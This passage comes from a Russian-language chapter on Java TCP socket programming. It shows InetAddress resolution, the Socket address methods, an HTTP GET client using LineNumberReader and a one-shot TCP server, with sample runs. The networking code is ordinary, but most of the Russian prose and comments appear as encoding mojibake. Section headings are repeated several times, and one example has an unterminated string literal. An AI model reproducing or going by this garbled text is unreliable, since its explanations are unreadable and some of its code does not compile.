Â êëàññå Socket åñòü äâà ìåòîäà – getLocalAddress() è getInetAddress(), êîòîðûå
âîçâðàùàþò ñîîòâåòñòâåííî IP-àäðåñà ëîêàëüíîãî è óäàëåííîãî êîìïüþòå-
ðîâ íà ðàçíûõ êîíöàõ ñîêåòà. Êðîìå òîãî, êëàññ Socket ïðåäîñòàâëÿåò ìåòîäû
getLocalSocketAddress() è getRemoteSocketAddress(), âîçâðàùàþùèå îáúåêòû
òèïà InetSocketAddress, êîòîðûå ñîäåðæàò ïîëíóþ èíôîðìàöèþ îá îêîíå÷íûõ
òî÷êàõ ñîåäèíåíèÿ, âêëþ÷àÿ íå òîëüêî IP-àäðåñà, íî è íîìåðà ïîðòîâ.

Êëàññ Socket èìååò ñðåäñòâà äëÿ ðàçðåøåíèÿ èìåí õîñòîâ. Äëÿ ýòîãî äîñòà-
òî÷íî ïåðåäàòü åãî êîíñòðóêòîðó IP-àäðåñ â òî÷å÷íî-äåñÿòè÷íîé íîòàöèè
èëè äîìåííîå èìÿ õîñòà, à ïîòîìó ïîëó÷èòü ðåçóëüòàò îïåðàöèè ðàçðå-
øåíèÿ.

Â ïðèìåðå 5.2 ïîêàçàíî, êàê èç IP-àäðåñà èëè èìåíè õîñòà ïîëó÷èòü îáúåêò
òèïà InetAddress. «CHIAPAS» – ýòî èìÿ êîìïüþòåðà àâòîðà. Íî âîîáùå-òî
ìîæíî çàäàòü ëþáóþ ñèíòàêñè÷åñêè äîïóñòèìóþ ñòðîêó, â òîì ÷èñëå ïîëíî-
ñòüþ îïðåäåëåííîå èìÿ óäàëåííîãî õîñòà, ñêàæåì, www.insidiae.com. Äëÿ äàí-
íîãî ïðèìåðà ïðåäïîëîæèì, ÷òî IP-àäðåñ êîìïüþòåðà CHIAPAS – 10.0.1.56.

Обзор протоколов ТСР/IP
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Пример 5.2. Пример 5.2. Пример 5.2. Пример 5.2. Пример 5.2. Преобразование IP*адреса или имени хоста в объект
InetAddress
 1 InetAddress inetaddr1 = null;

 2 InetAddress inetaddr2 = null;

 3 InetAddress inetaddr3 = null;

 4 String      addr1     = "192.168.1.101";

 5 String      addr2     = "CHIAPAS";

 6 String      addr3     = "www.insidiae.org";

 7
 8 try

 9 {

10   inetaddr1 = InetAddress.getByName(addr1);

11   inetaddr2 = InetAddress.getByName(addr2);

12   inetaddr3 = InetAddress.getByName(addr3);

13 }

14 catch (UnknownHostException uhe)

15 {

16   System.err.println("UnknownHostException: "

17                    + uhe.getMessage());

18 }

19
20 System.out.println("INETADDR1: " + inetaddr1);

21 System.out.println("INETADDR2: " + inetaddr2);

22 System.out.println("INETADDR3: " + inetaddr3);

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
INETADDR1: /192.168.1.101
INETADDR2: CHIAPAS/10.0.1.56
INETADDR3: www.insidiae.org/68.165.180.118

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1–3 îáúÿâëÿþòñÿ ññûëî÷íûå ïåðåìåííûå òèïà InetAddress.
� Â ñòðîêàõ 4–6 îïðåäåëÿþòñÿ èíòåðåñóþùèå íàñ IP-àäðåñà è èìåíà

õîñòîâ.
� Â ñòðîêàõ 10–12 ýòè àäðåñà è èìåíà ðàçðåøàþòñÿ ìåòîäîì getByName()

èç êëàññà InetAddress. Ýòîò ìåòîä âîçâðàùàåò îáúåêò êëàññà InetAddress,
ïðåäñòàâëÿþùèé ðàçðåøåííûé àäðåñ èëè èìÿ.

� Â ñòðîêàõ 20–22 ñîäåðæèìîå îáúåêòîâ êëàññ InetAddress âûâîäèòñÿ íà
ïå÷àòü. Ïðåîáðàçîâàíèåì îáúåêòà â ïå÷àòíóþ ôîðìó çàíèìàåòñÿ ìåòîä
toString() ýòîãî êëàññà (îí âûçûâàåòñÿ íåÿâíî), êîòîðûé ïå÷àòàåò èìÿ
õîñòà, çàòåì ñèìâîë /, à çàòåì IP-àäðåñ. Åñëè èìÿ õîñòà íåèçâåñòíî, êàê
â ñëó÷àå àäðåñà 192.168.1.101, òî îíî íå âûâîäèòñÿ.

Â ïðèìåðå 5.3 ïîêàçàíî, êàê ïîëó÷èòü ëîêàëüíûé è óäàëåííûé IP-àäðåñà,
ñîîòâåòñòâóþùèå îêîíå÷íûì òî÷êàì ñîåäèíåííîãî ñîêåòà. Ýòî ìîæåò îêà-
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çàòüñÿ íóæíûì ïðè ðàçðàáîòêå TCP-ñåðâåðà, äîïóñêàþùåãî àíîíèìíîå ñî-
åäèíåíèå ñî ñòîðîíû êëèåíòà, àäðåñ êîòîðîãî âû õîòèòå çàïðîòîêîëèðîâàòü
è, âîçìîæíî, ñâÿçàòüñÿ ñ íèì.

Пример 5.3. Пример 5.3. Пример 5.3. Пример 5.3. Пример 5.3. Получение информации об IP*адресе от активного
TCP*соединения
 1 InetAddress inetaddr1 = null;

 2 InetAddress inetaddr2 = null;

 3 Socket           sock = null;

 4
 5 try

 6 {

 7   sock = new Socket("127.0.0.1", 80);

 8
 9   inetaddr1 = sock.getLocalAddress();

10   inetaddr2 = sock.getInetAddress ();

11
12   System.out.println(inetaddr1);

13   System.out.println(inetaddr2);

14 }

15 catch (UnknownHostException uhe)

16 {

17   System.err.println("UnknownHostException:

18                    + uhe.getMessage());

19 }

20 catch (IOException ioe)

21 {

22   System.err.println("IOException " + ioe.getMessage());

23 }

Åñëè îòêîìïèëèðîâàòü ýòó ïðîãðàììó è çàïóñòèòü åå äëÿ ñâÿçè ñ ñåðâåðîì
TCPServer1 (ñì. ïðèìåð 5.5), ðàáîòàþùèì íà ïîðòó 80 ëîêàëüíîãî êîìïüþòå-
ðà, òî áóäóò íàïå÷àòàíû ïîêàçàííûå íèæå ñòðîêè. Âàæíî îòìåòèòü, ÷òî åñëè
ýòîò êëèåíò ñâÿçûâàåòñÿ ñ óäàëåííûì ñåðâåðîì, òî âòîðîé IP-àäðåñ (àäðåñ
ñåðâåðà) íå áóäåò ñîâïàäàòü ñ ïåðâûì (àäðåñîì êëèåíòà).

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:/> TCPServer1 80
*** ïðîñëóøèâàåòñÿ ïîðò 80
.
.
C:/> java Example3.java 127.0.0.1 80 /

/127.0.0.1
/127.0.0.1

Обзор протоколов ТСР/IP
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 êëèåíòñêèé TCP-ñîêåò ñîåäèíÿåòñÿ ñ ïîðòîì 80 ïî àäðåñó

127.0.0.1.
� Â ñòðîêå 9 ìû ïîëó÷àåì IP-àäðåñ ëîêàëüíîé îêîíå÷íîé òî÷êè ñîåäèíå-

íèÿ â âèäå îáúåêòà òèïà InetAddress. Â ýòîì ïðèìåðå è êëèåíò, è ñåðâåð
íàõîäÿòñÿ íà êîìïüþòåðå localhost, ïîýòîìó IP-àäðåñà ëîêàëüíîé è óäà-
ëåííîé îêîíå÷íûõ òî÷åê ñîâïàäàþò è ðàâíû 127.0.0.1. Â îáùåì ñëó÷àå
îíè, êîíå÷íî, ìîãóò ðàçëè÷àòüñÿ.

� Â ñòðîêå 10 èçâëåêàåòñÿ IP-àäðåñ óäàëåííîé îêîíå÷íîé òî÷êè, òîæå
â âèäå îáúåêòà InetAddress. Â äàííîì ñëó÷àå îí ðàâåí 127.0.0.1.

� Â ñòðîêàõ 12–13 IP-àäðåñà ëîêàëüíîé è óäàëåííîé îêîíå÷íûõ òî÷åê âû-
âîäÿòñÿ íà ïå÷àòü.

� Â ñòðîêå 15 îáðàáàòûâàåòñÿ èñêëþ÷åíèå UnknownHostException, êîòî-
ðîå âîçáóæäàåò êîíñòðóêòîð êëàññà Socket, åñëè íå ìîæåò ðàçðåøèòü ïå-
ðåäàííîå åìó èìÿ õîñòà.

� Â ñòðîêå 20 îáðàáàòûâàåòñÿ èñêëþ÷åíèå IOException, âîçáóæäàåìîå
â ñëó÷àå îøèáêè ïðè óñòàíîâëåíèè ñîåäèíåíèÿ, ïåðåäà÷å äàííûõ èëè
ðàçðûâà ñîåäèíåíèÿ.

Ðàçðåøåíèå IP-àäðåñîâ, ïðåäñòàâëåííûõ â òî÷å÷íî-äåñÿòè÷íîé íîòàöèè,
ÿâëÿåòñÿ «íåáëîêèðóþùåé» îïåðàöèåé. Ðàçðåøåíèå æå èìåí õîñòîâ, ê ïðè-
ìåðó, CHIAPAS (ñì. ïðèìåð 5.2) – ýòî áëîêèðóþùàÿ îïåðàöèÿ, äëÿ åå âûïîë-
íåíèÿ íóæíî îáðàòèòüñÿ ê ñëóæáå DNS, ÷òî ìîæåò çàíÿòü íåñêîëüêî ñåêóíä.

Ввод/вывод текста: класс LineNumberReader
Ïðè ðàáîòå ñ òåêñòîâûìè ïðîòîêîëàìè, íàïðèìåð, HTTP, POP3 (Post Office
Protocol), IMAP (Internet Message Access Protocol) èëè FTP (File Transfer Protocol)
óäîáíî ðàññìàòðèâàòü ïðèíèìàåìûå äàííûå, êàê òåêñòîâûå ñòðîêè, à íå
ìàññèâû áàéòîâ. Â ïàêåòå java.io åñòü êëàññ LineNumberReader, ñ ïîìîùüþ êî-
òîðîãî ëåãêî ÷èòàòü ñòðîêè òåêñòà èç ñîêåòà.

Äëÿ ýòîãî íàäî âûïîëíèòü ñëåäóþùèå äåéñòâèÿ:

1. Ïîëó÷èòü îò ñîåäèíåííîãî ñîêåòà îáúåêò òèïà InputStream.
2. Íàäñòðîèòü íàä íèì îáúåêò òèïà InputStreamReader.
3. Íàä îáúåêòîì InputStreamReader íàäñòðîèòü îáúåêò òèïà

LineNumberReader.

Ïîñëå òîãî êàê îáúåêò LineNumberReader ñîçäàí, ìîæíî âîñïîëüçîâàòüñÿ
èì äëÿ ÷òåíèÿ ñòðîê.

Ïðèìåð 5.4 îñíîâûâàåòñÿ íà ïðèìåðå 5.3, íî äîáàâëÿåò âîçìîæíîñòü ïîñò-
ðî÷íî ÷èòàòü è âûâîäèòü íà ïå÷àòü îòâåò, ïîëó÷åííûé îò Web-ñåðâåðà. Êî-
íå÷íî, ýòî î÷åíü ïðîñòàÿ ïðîãðàììà, íî âìåñòå ñ òåì ïîëåçíàÿ, òàê êàê åé
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ìîæíî âîñïîëüçîâàòüñÿ â áîëåå ñëîæíûõ ïðèëîæåíèÿõ äëÿ ñ÷èòûâàíèÿ øàïîê,
ñêàíèðîâàíèÿ óÿçâèìîñòåé, íàïèñàíèÿ ïðîêñè-ñåðâåðîâ è Web-ýêñïëîéòîâ.

Пример 5.4. Пример 5.4. Пример 5.4. Пример 5.4. Пример 5.4. Применение класса LineNumberReader в клиентской программе
(TCPClient2.java)
 1 /*

 2  * TCPClient2.java

 3  *

 4  * TCP-êëèåíò, êîòîðûé óñòàíàâëèâàåò ñîåäèíåíèå,

 5  * ïîñûëàåò çàïðîñ ïî ïðîòîêîëó HTTP 1.0,

 6  * ïðèíèìàåò äàííûå ïîñòðî÷íî ñ ïîìîùüþ êëàññà LineNumberReader

 7  * è âûâîäèò ðåçóëüòàò íà ïå÷àòü.

 8  *

 9  * Ïîðÿäîê çàïóñêà:

10  *

11  * java TCPClient2 <target_ip> <target_port> <resource>

12  *

13  *

14  */

15 import java.io.* ;

16 import java.net.*;

17
18 public class TCPClient2

19 {

20   public static void main(String[] args)

21   {

22
23     InputStreamReader isr   = null;

24     LineNumberReader  lnr   = null;

25     InputStream       is    = null;

26     OutputStream      os    = null;

27     Socket            sock  = null;

28     String            addr  = null;

29     String            res   = null;

30     String            send  = null;

31     String            tmp   = null;

32     byte[]            recv  = new byte[4096];

33     int               port  = 0;

34     int              x     = 0;

35
36     if(args.length != 3)

37     {

38       System.err.println("usage: java TCPClient2 " +

39                 "<target_ip> <target_port> " +

40                          "<resource>.");

41       System.err.println("Ïðèìåð: java TCPClient2 "   +

42                          "127.0.0.1 80 /");

43       System.exit(1);
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44     }

45
46     addr = args[0];

47     tmp  = args[1];

48     res  = args[2];

49
50     try

51     {

52       // ïðåîáðàçîâàòü íîìåð ïîðòà â ÷èñëîâîå çíà÷åíèå

53       port = Integer.parseInt(tmp);

54
55       // ñîåäèíèòüñÿ ñ IP-àäðåñîì è ïîðòîì

56       sock = new Socket(addr, port);

57
58       // ïîëó÷èòü îò ñîêåòà ïîòîê âûâîäà

59       os = sock.getOutputStream();

60
61       // ïîäãîòîâèòü HTTP-çàïðîñ

62       send = "GET " + res + " HTTP/1.0\r\n\r\n";

63
64       // îòïðàâèòü HTTP-çàïðîñ

65       os.write(send.getBytes());

66
67       // ïîëó÷èòü îò ñîêåòà ïîòîê ââîäà

68       is = sock.getInputStream ();

69
70       // ñêîíñòðóèðîâàòü îáúåêò LineNumberReader

71       isr = new InputStreamReader(is );

72       lnr = new LineNumberReader (isr);

73
74       // ÷èòàòü îòâåò ïîñòðî÷íî è âûâîäèòü íà ïå÷àòü

75       x = 0;

76       while((tmp = lnr.readLine()) != null)

77       {

78         System.out.println(x + ") " + tmp);

79         ++x;

80       }

81
82       // çàêðûòü ñîåäèíåíèå

83       sock.close();

84     }

85     catch (NumberFormatException nfe)

86     {

87       // íå÷èñëîâîå çíà÷åíèå?

88       System.err.println("NumberFormatException: "

89                        + nfe.getMessage());

90     }

91     catch (IOException ioe)

92     {
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93       // îøèáêà ïðè óñòàíîâëåíèè ñîåäèíåíèÿ?

94       System.err.println("IOException: "

95                        + ioe.getMessage());

96     }

97   }

98 }

99

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe TCPClient2.java

C:\> dir
.
.
TCPClient2.class
.
.

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe TCPClient2.java

usage: java TCPClient2 <target_ip> <target_port> <resource>
Ïðèìåð: java TCPClient2 127.0.0.1 80 /

C:\> j2sdk1.4.1_02\bin\java.exe TCPClient2.java www.insidiae.org 80 /

0) HTTP/1.0 200 OK
1) Server: thttpd/.23beta1 26 may 2002
2) Content-Type: text/html; charset=iso-8859-1
3) Date: Mon, 26 May 2003 17:02:29 GMT
4) Last-Modified: Thu, 08 May 2003 19:30:33 GMT
5) Accept-Ranges: bytes
6) Connection: close
7) Content-Length: 339

Â ïðèìåðå 5.4 ñîçäàåòñÿ êëèåíòñêèé TCP-ñîêåò, ñ ïîìîùüþ êîòîðîãî óñòà-
íàâëèâàåòñÿ ñîåäèíåíèå ñ HTTP-ñåðâåðîì, ðàáîòàþùèì íà ïîðòó 80. Çàòåì
ñåðâåðó ïîñûëàåòñÿ ñòàíäàðòíûé çàïðîñ GET HTTP/1.0 è ïîñòðî÷íî ÷èòàåòñÿ
îòâåò (çäåñü-òî è ïðèãîäèëñÿ êëàññ LineNumberReader), êîòîðûé äàëåå âûâî-
äèòñÿ íà stdout, â äàííîì ñëó÷àå â îêíî êîìàíä.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1–56 âûïîëíÿþòñÿ òå æå ïðåäâàðèòåëüíûå äåéñòâèÿ, ÷òî

è â ïðîãðàììå  TCPClient1. Îáðàáàòûâàþòñÿ àðãóìåíòû, çàäàííûå  â êî-
ìàíäíîé ñòðîêå, ñîçäàåòñÿ îáúåêò Socket, êîòîðûé çàòåì ñîåäèíÿåòñÿ
ñ óêàçàííûìè IP-àäðåñîì è ïîðòîì.
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� Â ñòðîêàõ 59–65 ó îáúåêòà Socket çàïðàøèâàåòñÿ ïîòîê âûâîäà Output-
Stream, êîíñòðóèðóåòñÿ HTTP-çàïðîñ, êîòîðûé çàòåì îòïðàâëÿåòñÿ óäà-
ëåííîìó õîñòó.

� Â ñòðîêàõ 68–72 ó îáúåêòà Socket çàïðàøèâàåòñÿ ïîòîê ââîäà InputStream,
íàä íèì íàäñòðàèâàåòñÿ îáúåêò InputStreamReader, à íàä ïîñëåäíèì –
LineNumberReader.

� Â ñòðîêàõ 75–80 îáúåêò LineNumberReader èñïîëüçóåòñÿ äëÿ òîãî, ÷òîáû
ïðî÷èòàòü ïîñòðî÷íî îòâåò, ïîëó÷åííûé îò ñåðâåðà. Êàæäàÿ ñòðîêà âû-
âîäèòñÿ íà stdout, ïðè÷åì åé ïðåäøåñòâóåò ïîðÿäêîâûé íîìåð.

� Â ñòðîêàõ 82–98 âûïîëíÿåòñÿ òà æå  î÷èñòêà, ÷òî  â ïðîãðàììå  TCPClient1.
Ñîêåò çàêðûâàåòñÿ, ïðè ýòîì ðàçðûâàåòñÿ ñîåäèíåíèå. Îáðàáàòûâàþòñÿ
âîçìîæíûå èñêëþ÷åíèÿ.

Äî ñèõ ïîð ìû çàíèìàëèñü ïðîñòûìè êëèåíòñêèìè ïðîãðàììàìè, â êîòî-
ðûõ ñîêåò áûë ïðåäñòàâëåí îáúåêòîì êëàññà Socket. Ìû ïîçíàêîìèëèñü ñ íå-
ñêîëüêèìè âàðèàíòàìè ðàçðåøåíèÿ IP-àäðåñîâ è èìåí õîñòîâ è âèäåëè, êàê
ìîæíî ïîñòðî÷íî ÷èòàòü äàííûå, ïîñûëàåìûå óäàëåííûì êîìïüþòåðîì.
(Îòìåòèì, ÷òî ïðîöåäóðû ïðèåìà è âûâîäà íà ïå÷àòü äàííûõ, ïîëó÷àåìûõ îò
TCP è îò UDP-ñåðâåðà, î÷åíü ïîõîæè.) Â ñëåäóþùåì ðàçäåëå ìû ïîçíàêîìèì-
ñÿ ñ ñîçäàíèåì ñåðâåðíûõ TCP-ñîêåòîâ, êîòîðûå ìîãóò ïîëó÷àòü çàïðîñû íà
ñîåäèíåíèå  îò òàêèõ êëèåíòîâ, êàê  TCPClient1 èëè TCPClient2.

TCP3серверы

Ïðîãðàììèðîâàíèå ñåðâåðíîãî TCP-ñîêåòà íåìíîãèì ñëîæíåå, ÷åì êëèåíò-
ñêîãî. Îí ïðåäñòàâëÿåòñÿ îáúåêòîì êëàññà ServerSocket, êîòîðûé ïðèâÿçûâàåò
ñîêåò ê óêàçàííîìó ïîðòó è æäåò, ïîêà êàêîé-íèáóäü êëèåíò íå ïîïûòàåòñÿ
óñòàíîâèòü ñîåäèíåíèå. Êàê òîëüêî ïðèõîäèò çàïðîñ íà ñîåäèíåíèå, ñîçäàåò-
ñÿ íîâûé îáúåêò êëàññà Socket, ñ ïîìîùüþ êîòîðîãî ìîæíî îáìåíèâàòüñÿ
äàííûìè ñ êëèåíòîì. Ê ýòîìó îáúåêòó ïðèìåíèìî âñå èçëîæåííîå â ïðåäû-
äóùåì ðàçäåëå.

Â êëàññå ServerSocket îïðåäåëåíî íåñêîëüêî êîíñòðóêòîðîâ äëÿ ïðèâÿçêè
ñîêåòà ê ëîêàëüíîìó IP-àäðåñó è ïîðòó è çàäàíèÿ ðàçìåðà î÷åðåäè âõîäÿùèõ
ñîåäèíåíèé. Îñòàëüíûå ìåòîäû ñëóæàò äëÿ ïðèåìà íîâûõ çàïðîñîâ íà ñîåäè-
íåíèå, òîíêîé íàñòðîéêè ðàçëè÷íûõ àñïåêòîâ ñîêåòà, âûÿñíåíèÿ òåêóùåãî
ñîñòîÿíèÿ è çàêðûòèÿ ñîêåòà.

Äëÿ ðåàëèçàöèè áàçîâîé ôóíêöèîíàëüíîñòè ñåðâåðíîãî TCP-ñîêåòà íóæíî
íå òàê óæ ìíîãî êîíñòðóêòîðîâ è ìåòîäîâ. Â ïðèìåðå 5.5 êëàññ LineNum-
berReader èñïîëüçóåòñÿ äëÿ ïîñòðî÷íîãî ÷òåíèÿ çàïðîñà îò êëèåíòà. Îòìåòèì,
÷òî ýòîò ñåðâåð îäíîïîòî÷íûé, ïðè÷åì ïîñëå îáðàáîòêè ïåðâîãî æå çàïðîñà
îí çàêðûâàåò ñîêåò è çàâåðøàåòñÿ.
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Пример 5.5. Пример 5.5. Пример 5.5. Пример 5.5. Пример 5.5. Серверный TCP*сокет (TCPServer1.java)
 1 /*

 2  * TCPServer1.java

 3  *

 4  * Ïðîãðàììà ñîçäàåò ñåðâåðíûé TCP-ñîêåò, ïðèâÿçûâàåò åãî ê ïîðòó,

 5  * îæèäàåò çàïðîñà ïî ïðîòîêîëó HTTP,  ïå÷àòàåò åãî è ïîñûëàåò

 6  * îòâåò.

 7  *

 8  * Ïîðÿäîê çàïóñêà:

 9  *

10  * java TCPServer1 <local_port>

11  *

12  *

13  */

14
15 import java.io.* ;

16 import java.net.*;

17
18 public class TCPServer1

19 {

20   public static void main(String[] args)

21   {

22     InputStreamReader isr  = null;

23     LineNumberReader  lnr  = null;

24     OutputStream      os   = null;

25     ServerSocket      serv = null;

26     InputStream       is   = null;

27     Socket            clnt = null;

28     String            send = null;

29     String            tmp  = null;

30     int               port = 0;

31     int               x    = 0;

32
33     if(args.length != 1)

34     {

35       System.err.println("usage: java " +

36                          "TCPServer1 <local_port>");

37       System.err.println("Ïðèìåð: java TCPServer1 80");

38       System.exit(1);

39     }

40
41     tmp = args[0];

42
43     try

44     {

45       // ïðåîáðàçîâàòü íîìåð ïîðòà â ÷èñëîâîå çíà÷åíèå

46       port = Integer.parseInt(tmp);

47
48       // ñîçäàòü ñîêåò, ïðèâÿçàòü åãî è íà÷àòü ïðîñëóøèâàòü ïîðò
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49       serv = new ServerSocket(port);

50
51       System.out.println("*** ïðîñëóøèâàåòñÿ ïîðò " + port);

52
53       // ïðèíÿòü çàïðîñ íà íîâîå ñîåäèíåíèå

54       clnt = serv.accept();

55
56       // ïîëó÷èòü ïîòîê ââîäà

57       is = clnt.getInputStream (   );

58
59       // íàäñòðîèòü íàä íèì îáúåêò LineNumberReader

60       isr = new InputStreamReader(is );

61       lnr = new LineNumberReader (isr);

62
63       // ïðî÷èòàòü çàïðîñ

64       x = 0;

65       while((tmp = lnr.readLine()) != null)

66       {

67         System.out.println(x + ") " + tmp);

68         ++x;

69
70         // îáðàáîòàòü ïóñòóþ ñòðîêó, ñëóæàùóþ ðàçãðàíè÷èòåëåì â HTTP

71         if(tmp.length() == 0)

72         {

73           break;

74         }

75       }

76
77       // ïîëó÷èòü ïîòîê âûâîäà

78       os   = clnt.getOutputStream();

79
80       // îòïðàâèòü çàïðîñ

81       send = "HTTP/1.0 200 OK\r\n\r\nTCPServer1!";

82
83       os.write(send.getBytes());

84
85       // ðàçîðâàòü ñîåäèíåíèå ñ êëèåíòîì

86       clnt.close();

87
88       // çàêðûòü ñåðâåðíûé ñîêåò

89       serv.close();

90     }

91     catch (NumberFormatException nfe)

92     {

93       // íå÷èñëîâîå çíà÷åíèå íîìåðà ïîðòà?

94       System.err.println("NumberFormatException: "

95                        + nfe.getMessage());

96     }

97     catch(IOException ioe)
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 98    {
 99      // îøèáêà ïðè ðàáîòå ñ ñîêåòîì?
100      System.err.println("IOException: "
101                        + ioe.getMessage());
102    }
103  }
104}
105

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe TCPServer1.java

C:\> dir
.
.
TCPServer1.class
.
.

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe TCPServer1

usage: java TCPServer1 <local_port>
Ïðèìåð: java TCPServer1 80

*** ïðîñëóøèâàåòñÿ ïîðò 80

Â ïðèìåðå 5.5 ìû ñîçäàåì ñåðâåðíûé ñîêåò, ïðèâÿçûâàåì åãî ê ïîðòó, çà-
äàííîìó â êîìàíäíîé ñòðîêå, è èñïîëüçóåì äëÿ ïðèåìà âõîäÿùèõ ñîåäèíåíèé.
Êëèåíòñêèé ñîêåò, ñîçäàííûé â ðåçóëüòàòå ïðèåìà ñîåäèíåíèÿ, ïðèìåíÿåòñÿ
äëÿ ÷òåíèÿ çàïðîñà ïî ïðîòîêîëó HTTP 1.0 è îòïðàâêè îòâåòà.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 33–38 îáðàáàòûâàåòñÿ íîìåð ïîðòà, çàäàííûé â êîìàíäíîé

ñòðîêå.
� Â ñòðîêå 46 íîìåð ïîðòà ïðåîáðàçóåòñÿ â ÷èñëîâîå çíà÷åíèå ìåòîäîì

parseInt() êëàññà Integer.
� Â ñòðîêå 49 êîíñòðóêòîð êëàññà ServerSocket ñîçäàåò ñîêåò, ïðèâÿçûâàåò

åãî ê ïîðòó è ïåðåâîäèò â ðåæèì îæèäàíèÿ âõîäÿùèõ ñîåäèíåíèé.
Â îòëè÷èå îò äðóãèõ ñåòåâûõ API, ñêàæåì, BSD-ñîêåòîâ, êîíñòðóêòîð
êëàññà ServerSocket âûïîëíÿåò îïåðàöèè bind è l isten çà îäèí øàã.

� Â ñòðîêå 54 âûçûâàåòñÿ ìåòîä accept() äëÿ ïðèåìà íîâîãî ñîåäèíåíèÿ.
Ýòîò ìåòîä áëîêèðóþùèé, òî åñòü îí íå âîçâðàùàåò óïðàâëåíèå, ïîêà
íå ïðèäåò çàïðîñ. Êàê òîëüêî çàïðîñ ïîëó÷åí, ìåòîä accept() âîçâðàùà-
åò îáúåêò êëàññà Socket, ïðåäñòàâëÿþùèé íîâîå ñîåäèíåíèå.
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� Â ñòðîêàõ 57–61 ñ ïîìîùüþ ìåòîäà getInputStream() ìû ïîëó÷àåì ïîòîê
InputStream, ñîîòâåòñòâóþùèé ñîåäèíåíèþ ñ êëèåíòîì, à çàòåì íàä-
ñòðàèâàåì íàä íèì îáúåêò LineNumberReader, ïîçâîëÿþùèé èçâëåêàòü
èç ïîòîêà ñòðîêè òåêñòà â êîäå ASCII.

� Â ñòðîêàõ 63–75 çàïðîñ îò êëèåíòà ñ÷èòûâàåòñÿ ïîñòðî÷íî ñ ïîìîùüþ
îáúåêòà LineNumberReader, è ïðî÷èòàííûå ñòðîêè âûâîäÿòñÿ íà stdout.

� Â ñòðîêå 78 ìû ñ ïîìîùüþ ìåòîäà getOutputStream() ïîëó÷àåì âûõîä-
íîé ïîòîê OutputStream.

� Â ñòðîêå 81 â ïåðåìåííîé send êîíñòðóèðóåòñÿ îòâåò ïî ïðîòîêîëó
HTTP 1.0.

� Â ñòðîêå 83 ïåðåìåííàÿ send ïðåîáðàçóåòñÿ â ìàññèâ áàéòîâ ñ ïîìîùüþ
ìåòîäà getBytes() êëàññà String, è ýòîò ìàññèâ îòïðàâëÿåòñÿ êëèåíòó ìåòî-
äîì write() êëàññà OutputStream.

� Â ñòðîêå 86 ñîåäèíåíèå ñ êëèåíòîì çàêðûâàåòñÿ ìåòîäîì close() êëàññà
Socket. Ïîñëå ýòîãî ñîêåò óæå íåëüçÿ èñïîëüçîâàòü äëÿ ïðèåìà èëè ïå-
ðåäà÷è äàííûõ.

� Â ñòðîêå 89 çàêðûâàåòñÿ ñåðâåðíûé ñîêåò, äëÿ ÷åãî âûçûâàåòñÿ ìåòîä
close() êëàññà ServerSocket. Áîëüøå ñåðâåð íå áóäåò ïðèíèìàòü íîâûõ
çàïðîñîâ íà ñîåäèíåíèå îò êëèåíòîâ.

� Â ñòðîêå 91 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà NumberFormatException.
Òàêîå èñêëþ÷åíèå âîçíèêàåò, åñëè â êîìàíäíîé ñòðîêå óêàçàí íåêîð-
ðåêòíûé íîìåð ïîðòà.

� Â ñòðîêå 97 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà IOException, âîçáóæäàå-
ìîå â ñëó÷àå âîçíèêíîâåíèÿ îøèáêè ïðè ðàáîòå ñ ñîåäèíåíèåì êàê ìå-
òîäàìè êëàññà Socket, òàê è ìåòîäàìè êëàññà ServerSocket.

Использование Web3браузера

для соединения с сервером TCPServer1

Ñåðâåð èç ïðèìåðà 5.5 ìîæåò âîçâðàùàòü äàííûå, êàê è âñÿêèé äðóãîé Web-
ñåðâåð. Ìû ìîæåì ñîåäèíèòüñÿ ñ íèì èç ëþáîãî ñòàíäàðòíîãî áðàóçåðà
(ðèñ. 5.1). Íèæå ïîêàçàí ïðîòîêîë ñåàíñà îáìåíà äàííûìè ìåæäó ñåðâåðîì
TCPServer1 è áðàóçåðîì Microsoft Internet Explorer for Windows:

SYNGRESS# java TCPServer1 80
*** ïðîñëóøèâàåòñÿ ïîðò 80
0) GET / HTTP/1.1
1) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/
msword, */*
2) Accept-Language: en-us
3) Accept-Encoding: gzip, deflate
4) User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
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5) Host: 127.0.0.1
6) Connection: Keep-Alive
7)

Работа с несколькими соединениями

Â ïðèìåðå 5.5 áûëî ïîêàçàíî, êàê îðãàíèçîâàòü ðàáîòó ñ îäíèì ñîåäèíåíèåì
îò êëèåíòà. Íî îáû÷íî TCP-ñåðâåð äîëæåí óìåòü îáðàáàòûâàòü ñðàçó íå-
ñêîëüêî ñîåäèíåíèé. Ê ðåøåíèþ ýòîé çàäà÷è åñòü äâà îñíîâíûõ ïîäõîäà:

� îáðàáàòûâàòü ñîåäèíåíèÿ ïîñëåäîâàòåëüíî â òîì æå ïîòîêå, â êîòîðîì
ñîçäàí ñåðâåðíûé ñîêåò;

